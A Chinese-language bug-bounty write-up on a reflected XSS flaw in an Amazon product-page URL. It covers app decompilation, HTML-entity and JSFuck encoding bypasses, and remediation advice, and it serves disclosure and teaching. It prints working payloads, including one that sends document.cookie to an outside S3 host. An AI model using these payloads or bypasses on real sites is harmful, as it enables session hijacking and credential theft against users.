挖洞经验 | 看我如何发现亚马逊网站的反射型XSS漏洞
字数 1324 2025-08-18 11:37:23
亚马逊反射型XSS漏洞挖掘与分析
漏洞概述
本文详细记录了在亚马逊网站中发现的一个反射型XSS(跨站脚本)漏洞的完整挖掘过程。该漏洞存在于亚马逊的一个内部应用(masclient)的产品页面URL参数中,攻击者可通过精心构造的恶意URL实现跨站脚本攻击,可能导致用户会话劫持、敏感信息泄露等安全问题。
漏洞发现背景
- 研究者通过开发scroll.am网站(亚马逊快速浏览方式)来提升前端和后端技能
- 在研究过程中对亚马逊网站架构和A/B测试策略产生兴趣
- 决定通过反编译亚马逊安卓APP来了解其网站架构设计
漏洞挖掘过程
1. 反编译亚马逊APP
- 下载APK文件并使用在线反编译器提取代码
- 搜索产品页面特有的'/dp/'字段
- 发现一个特殊的产品页面URL格式:
https://www.amazon.com/gp/masclient/dp/<product_id>
2. 测试URL参数
- 测试发现产品ID参数存在以下特性:
- 未进行适当输入检查
- 所有输入被自动转换为大写
- 可注入HTML标签但存在某些限制
3. 尝试XSS注入
初始测试使用<marquee><h1>hi mom!作为产品ID:
https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch1%3Ehi%20mom!
发现注入成功,但面临两个主要限制:
- 所有输入被大写化(如alert变为ALERT)
- 闭合标签如
</script>会导致404错误
绕过技术
1. 绕过大写限制
采用HTML实体字符编码技术:
- 将纯文本字符转换为HTML实体字符
- 再进行URL编码
- 使用SVG标记的onload参数输出
示例:
<svg onload=%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x48%3B%26%23x69%3B%26%23x20%3B%26%23x4D%3B%26%23x6F%3B%26%23x6D%3B%26%23x27%3B%26%23x29%3B>
2. 绕过闭合标签限制
- 使用
<svg onload=javascript:alert(1)>实现JS注入 - 或使用特殊字符突破限制:
"}');}JAVASCRIPTHERE;{("
3. 使用JSFuck编码
由于URL长度限制(约3500字符),无法使用完整JSFuck编码的窃取cookie代码,但可用于简单弹窗:
https://www.amazon.com/gp/masclient/dp/'%7D");%7D[
浏览器兼容性问题
- Chrome浏览器(67.0.3396.62+)的XSS Auditor会阻止攻击
- 使用Firefox(60.0.1)进行验证测试
最终PoC攻击
构造的恶意URL可实现:
- 重定向用户到外部URL
- 窃取用户cookie
- 记录用户所有亚马逊浏览操作
- 展示假冒登录页面窃取凭证
最终Payload
URL编码形式:
https://www.amazon.com/gp/masclient/dp/%22%7D%27%3E%3Csvg%20onload%3D%26%23x77%3B%26%23x69%3B%26%23x6E%3B%26%23x64%3B%26%23x6F%3B%26%23x77%3B%26%23x2E%3B%26%23x6C%3B%26%23x6F%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6F%3B%26%23x6E%3B%26%23x2E%3B%26%23x72%3B%26%23x65%3B%26%23x70%3B%26%23x6C%3B%26%23x61%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x73%3B%26%23x3A%3B%26%23x2F%3B%26%23x2F%3B%26%23x73%3B%26%23x33%3B%26%23x2D%3B%26%23x65%3B%26%23x75%3B%26%23x2D%3B%26%23x77%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x2D%3B%26%23x31%3B%26%23x2E%3B%26%23x61%3B%26%23x6D%3B%26%23x61%3B%26%23x7A%3B%26%23x6F%3B%26%23x6E%3B%26%23x61%3B%26%23x77%3B%26%23x73%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6D%3B%26%23x2F%3B%26%23x70%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x65%3B%26%23x73%3B%26%23x74%3B%26%23x69%3B%26%23x6E%3B%26%23x67%3B%26%23x2D%3B%26%23x74%3B%26%23x61%3B%26%23x72%3B%26%23x67%3B%26%23x65%3B%26%23x74%3B%26%23x2F%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x31%3B%26%23x2E%3B%26%23x68%3B%26%23x74%3B%26%23x6D%3B%26%23x6C%3B%26%23x3F%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x3D%3B%26%23x27%3B%26%23x2B%3B%26%23x65%3B%26%23x73%3B%26%23x63%3B%26%23x61%3B%26%23x70%3B%26%23x65%3B%26%23x28%3B%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x63%3B%26%23x6F%3B%26%23x6F%3B%26%23x6B%3B%26%23x69%3B%26%23x65%3B%26%23x29%3B%26%23x29%3B%3E
解码后等效于:
https://www.amazon.com/gp/masclient/dp/"}'><svg onload=window.location.replace('https://s3-eu-west-1.amazonaws.com/pentesting-target/xss1.html?cookie='+escape(document.cookie))>
漏洞修复建议
- 对所有用户输入进行严格的过滤和转义
- 实施内容安全策略(CSP)
- 对内部应用进行严格的安全审查
- 限制URL参数的长度和特殊字符
- 对输出到页面的数据进行HTML编码
经验总结
- 内部应用往往安全审查不足,容易成为攻击入口
- XSS payload可通过混淆编码方式绕过某些限制
- 漏洞挖掘需要耐心和多种技术尝试
- 即使是大型企业如亚马逊也可能存在XSS漏洞
- 浏览器安全机制(XSS Auditor)可以有效阻止部分攻击